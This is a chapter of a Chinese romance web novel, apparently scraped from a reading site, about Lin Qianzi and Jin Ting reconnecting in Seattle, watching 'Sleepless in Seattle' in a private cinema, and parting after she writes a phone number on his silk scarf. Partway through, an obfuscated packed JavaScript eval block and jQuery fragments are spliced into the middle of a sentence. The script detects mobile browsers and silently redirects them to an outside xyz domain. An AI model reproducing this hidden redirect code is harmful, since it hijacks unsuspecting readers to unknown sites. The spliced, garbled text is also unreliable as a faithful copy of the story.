林茜子下车后看时间，发现靳汀的车载她开了居然有半小时多。
她在车上就这么坐着，坚持半小时不看手机，也是厉害。
等车开到看不见的拐角，她才用手指一探白色夹包，夏日午后，难得的摸到空空的凉。
她低头，皮包里就一层浅咖色内衬，东西都已掉完，不过里面的东西只有钞票，她并不担心什么。而脚下灰扑扑的地面，她扫过一圈，或许有口香糖，但绝对没钞票。
那就只能是掉在车上。
是老天帮她做的决定吗？
酒店大厦由经典而规整的竖蓝玻璃建立，清晰的落地窗，有的窗帘没拉，还能看出点里面的轮廓，例如统一摆放的桌椅，温馨整洁的卧房。
茜子背对酒店门口，离马路与酒店都不过几步路，前面的车流来势汹汹，后面的人流如潮席卷。
她不知在等什么，已经下午。
或许是等着裹挟暖意的长风吹渡她，或许是等着阴晴难定的西雅图，恰恰好好的下一场雨，淋在她这个没带伞的人头上。
大约十分钟过去，在透明的雨丝落下来时，她包里的手机仍没有振动。
她懊悔自己的拒绝，可在一个人的旅行路上，和一个大自己七岁的男人，由着他开到东南西北，城市尽头，好像更危险吧。
是她做错吗？她只是不喜欢太快进展。
靳汀对她没有慰问了，没有展开话题了。
他们的故事，也就到这结束。
从她下车，那一刻。
茜子没有任由雨继续在自己头上淋，从毛茸茸的碎发变成湿漉漉一团时，她就及时步入酒店，找前台要了条毛巾。她坐在大堂，不想感冒，但也不想回房间。
澄亮的暖色调光，体感本应是暖的。茜子盯着大堂的鹅黄圆灯，却觉得灯像月亮，光是月光，凉得彻底。她窝在大堂沙发里，调了个舒服姿势，像只可怜兮兮的兔子，抽着鼻子，一手擦头发，一手拿手机。
列表实实在在的毫无讯息，和栗子的聊天停在栗子反复吐槽工作，她不厌其烦安慰上。餐馆的同事是个线下话多，线下消失的类型。
姨妈和妈妈有问她玩得怎么样，她于是这一路都拍了不少吃的玩的，发过去。
那些学校里的同学，她通通删光。
至于列表里最后一个，还有聊过的朋友，舟舟，辞职后忙着考公。
这份心境好像一时间，无法阐明，无人可听。
不对。也不应该说的，八字没一撇的缘分。
朋友圈倒是有小红点，她不知抱什么心情点开。果然，五分钟前，不知哪来的留学中介广告。
继续往下滑。
八分钟前，Ethan神秘的朋友圈更新了。
她呼吸一停。
Ethan：【偶遇散财童女。】
配图是车内副驾驶位，一侧方向盘中心的法拉利图标，被他的手挡住一点。画面中央，男人有明显青筋的手拿着四张美元，每一张，都和她掉的面值一样，不偏不倚。
拍的是他的左手，林茜子看清他的手链。
是梵克雅宝的满钻五花手链，像女款，松松的，佩在他腕上，很老成，很骚气。
只有靳汀才会这么戴。
她的心在飘，最后升得太高，顶到鼻腔。
林茜子打了个喷嚏，感觉这场雨下得极好。
她主动给他发消息：【下雨了。】
手机上，不到三秒。
输入框页面，Ethan的id变为输入中……
那天的西雅图，在凯悦酒店大堂路过她的人，都在好奇这姑娘，到底收到何等天大喜讯。
顶着湿糟糟的头发，竟对手机笑得光彩照人，仿佛头上有太阳。
—
或许人就是喜欢失而复得的感觉。
他们开始在手机上聊天社交，尽管并不提出见面，只因茜子上次的拒绝，靳汀有意保持分寸，对她的现实生活从不打扰。
他们从女歌星Wayne打开话匣子。毫无提示，他让她猜自己最喜欢哪首歌，她一下猜对。
她给他安利最喜欢的电影《西雅图未眠夜》
他听得认真，循循善诱她说更多。
茜子：【剧透就没意思了！】
他给她说遍西雅图好吃好玩的地方，照她的旅行计划，尽心为她做附加攻略。
在她待在西雅图的第六天，周六晚上，她终于按耐不住，打电话给他，贴着手机传声口说：“我下周一要回加州洛杉矶，你有空的话，明天我们见一面吧。”
说完，才发现尾音颤得不像话。
他那头无声，直到她说完，才珍重答应。
挂电话后，她急忙忙发信息：【等等！地点我们忘定。】
他这次没向以前那样万事俱备，只是全权交给她来办，时间，地点，都由她定。
林茜子最终选在周天晚上约他出来，去西雅图的一家私人影院——GrandIllusionCinema
女孩穿一件白色纯棉吊带，披黑色衬衫外套，下身短牛仔裤，曲线饱满美好。
她站在前台，表明提前备了修复好的放映资源，又找前台反复确认能播放，放下心来。
和前台沟通好，林茜子才给他发信息，让他过来。她不知他住在哪，不知开过来要多久，故而也不敢早发信息，免得保密工作白做。
私人影院的位置在有点偏的长街里，灯光微醺，昏昏欲坠。她觉得这一夜好温柔，肌肤泡在风里很舒服，等他的时刻也很好受。
她连恨不得此刻天长地久，都说不出。
因为哪怕只是用恨这个字表达，都和这样如此充沛温和，被爱填满的心境不符了。
茜子像淋了糖衣的气球，浑身轻飘飘，只等他来时把她牢牢抓住。
于是，他真的来了。
茜子都没有看清他穿什么，立马眼睛亮晶晶迎上去，同他说话。
她向他保密着放什么电影，哪怕他如何问也不告密。
亦如那天，他死活不肯告诉她餐厅账单价格。
直到走入影院，她才看到他穿什么。其实也就像任何精心约会的男人一样，正式斯文，但他总有自己的巧思。今夜，他搭了一条爱马仕丝巾，水墨花纹。
她不敢看他的喉结，让他跟着自己走。打开包厢门，大约十五排座位，是这规模最小的包厢。私人电影院来的人不多，这个包厢又因为小，大家不想挤在这，所以常空着，今夜也不例外。
她和电影院老板谈了半小时，以半价包场。
包厢的灯比长街的更暗，她本想坐角落，但想到是和靳汀一起看电影，于是坐到正中心。
他在她身旁落座。
电影缓缓开幕，果然，是她提过的那部《西雅图未眠夜》
电影第一幕，就是男主站在妻子的墓碑前。
靳汀被画面里绿嫩的草坪，灰扑扑的墓碑晃了眼，心脏一痛，指尖不自觉发起抖来。
林茜子的手，一直靠在他椅子附近的扶手上，自然也发现这件事。她也跟着他心脏一紧，顾不上电影，便整个身子转过去，看他略失颜色的侧脸：“不舒服吗？”
靳汀靠在椅背上，缓了口气，在这个画面结束后，才好一些。茜子追问理由，他不想她担心，瞥见茜子旁边的座椅，摆着托盘，有两杯甜水，有青柠切片，泛着气泡。
他干脆就借此随便找了说辞：“可能我不太舒服气泡水的味道。”
茜子说知道了。
那气泡水不是之前的客人遗留的。
她抿了抿唇。
其实那是她准备的，那是影院卖得最好的饮料，以防他不喜欢。
她甚至没闻到什么味道。她也是头一次，见到有人鼻子这么灵。不过他说不舒服，她也就主动把气泡水拿出去，在前台纳闷的眼神里，叫前台倒掉。
她怕身上有味，干脆把衬衫外套也脱下来，抱在怀里，卷成小小一团，生怕靳汀闻到。今夜，本该宜人的温度，变得有些冷了。
茜子再回来时，电影不知放映到几时，但似乎是已经到经典台词的时刻。
其实是她最get不到的一段。
女主安妮在给男主山姆打电话。
安妮声音带哑：【Peoplewhotrulylovedoncearefarmorelikelytoloveagain.】
——真正爱过的人，很难再坠入爱河。
茜子站在他后一排，他没有发现。她看到靳汀的半侧背影，在荧幕随着电影变换画面光线，沉沉浮浮，看着落寞万分。她不知作何心情，上前，发现他眼皮难得沉沉的，但绝不是困的。
“靳汀。”她喊他。
靳汀转过头，捏着掌心的指尖更深，对上她有些虚幻的视线，他的嗓音难得有不加掩饰的疲惫：“嗯？”
“你是不是不开心？电影是不是不好看？”茜子弯下腰，蹲在他旁边，抱着那团皱巴巴的衬衫，感觉心也成了皱巴巴的一摊。
她看他的眼神，带着点温柔的不甘心。
“没有。我很喜欢。就是看得有点投入了。”靳汀收起方才微微暴露在外的情绪，笑得相安无事，他人靠得离茜子近了，指尖一松，摊开掌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271143|182305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心，缱绻地去摸她微凉的头发。
宽大而温暖，暧昧而亲昵，她太好哄，顶着发热的头坐回去，也就相信了他。
后面就是充满欢乐的剧情，茜子觉得自己只是失落于精心准备的东西，无意被对方讨厌而已。
她很快就收拾好心情，在看到男女主步入He时，长舒一口气。靳汀这时候看起来也心情好了不少，在电影即将结束时，轻快的音乐下，茜子与他的手也无意碰在一起。
碰到的是他的左手，银链子的触感，冰而冷。某种程度而言，她觉得这才算可以被描述的，有触电感觉。
心脏突突跳，是碰到一起的手触电，还是她的心呢。或者都有。
她小心抽远手，又只舍得抽走一小点距离。
年轻男女看电影，总有这样的突发事件，实话说是很俗套的剧情。但她太年轻，什么对她来说都新鲜。
各类演员和工作人员的名字在荧幕上滚动，最后的音乐播完，电影结束。私人包厢的灯不像别的电影院，放完会亮。
灯仍然暧昧的暗着，默许着在这里做什么，都不出格，被允许，能继续。
林茜子已经忘记刚刚播的内容，她的脑子被一些念头泡透，也开始皱巴巴，像那件仍没有被她穿好，团在手上的衬衫。
可是两个人出电影院前，什么都没再做。他出门，才主动替茜子抖开那件衬衫，披回她身上：“晚安。”
她抖得厉害，不知冷的，还是被他碰的。
茜子坚持和他说晚安，张口时被喂一嘴凉风，牙齿发酸，没说出来。她骨感的手扯着薄薄的衬衫，不再吭声。
他就知道她冷，刚刚就哆嗦得不行，在夏夜里要冻坏了似的。
靳汀走在她前面点，为她挡住点风，轻车熟路逗她：“没见过这么不要命的小朋友，和我在一起，怎么还要风度不要温度。”
她没做回答，盯着眼前的街景，看到他的车停在角落，这次里面没人。她知道他要走了，好在没司机等的话不着急，有能说话的几分钟。
茜子忽地问：“你明天有什么想吃的吗？”
靳汀记得她明天要上飞机，他稍稍眉头一跳：“没想好。”
茜子又问他车上有没有纸笔。他说有笔，而后去拿钢笔给她。
一支深蓝色的钢笔，一看就是很贵那种，握起来手感好极，笔身圆润，出墨丝滑。
至于纸，他说找不着，故而把脖颈间的那条丝巾拆下来，拆得慢条斯理，像拆礼物盒上的蝴蝶结。
她笑，心有预感他做什么，又心疼得不行：“认真的吗？”
她之所以认得那么多奢侈品，不过是年轻女孩们总有的那点爱好而已。这条爱马仕丝巾，她记得的，足足有五位数。
可是靳汀就是递过来了，他又闭着那张金贵的嘴，抬高语调“嗯”一声就让她写。这一刻，颇有二十出头的少年意气。
林茜子也不好再矫情，写就写。她站在他车窗前，把那条丝巾摁在车玻璃上，丝巾上还有他的体温，烫得吓人。她手抖，写得慢一些，字迹秀丽留下一串号码。
是她工作的餐馆的号码。
“这家餐馆，挺不错的。在洛杉矶。”她把丝巾还给他，睫毛投下一片阴影。
她知道他硕士是做Ai方向的项目，本科修的双学位，数学专业和数据科学专业。这样来看，虽然她不懂Ai，但靳汀的工作方向无非程序员这类。
她却从未向他说过，自己做什么。
现在是夏季，美国的高中生，大学生，都在放假。她有空也不奇怪。这个年纪的孩子，是会被默认在读书的。
他不知道，她也说不出她只能在美国再待至多四个月，还是在家中餐馆工作。
林茜子又后悔写号码了。
或许这一周的聊天让她得意忘形，她只记得他说Gap这一年，心情好的话，经常会在美国各地，随便逛逛，吃喝玩乐一圈。
如果他来洛杉矶，她会有身份知道吗？
会有理由见面吗？
「如果我们的关系以后只停在这，给我一个理由，和你见一面吧。」
她趁他看字，在静默中虔诚许了个愿。
“你有来洛杉矶玩的话，可以试试这家餐馆。”茜子转过身，背影有种莫名的决绝。
靳汀再抬头时，她已经走远，手机发信息叫他别担心，这家私人电影院，离她住的酒店步行只要十分钟。
还有一条。
茜子：【晚安。】
靳汀把丝巾上的号码翻来覆去一阵，其实没太明白茜子为什么提餐馆，不过，他还是把号码认认真真记下来。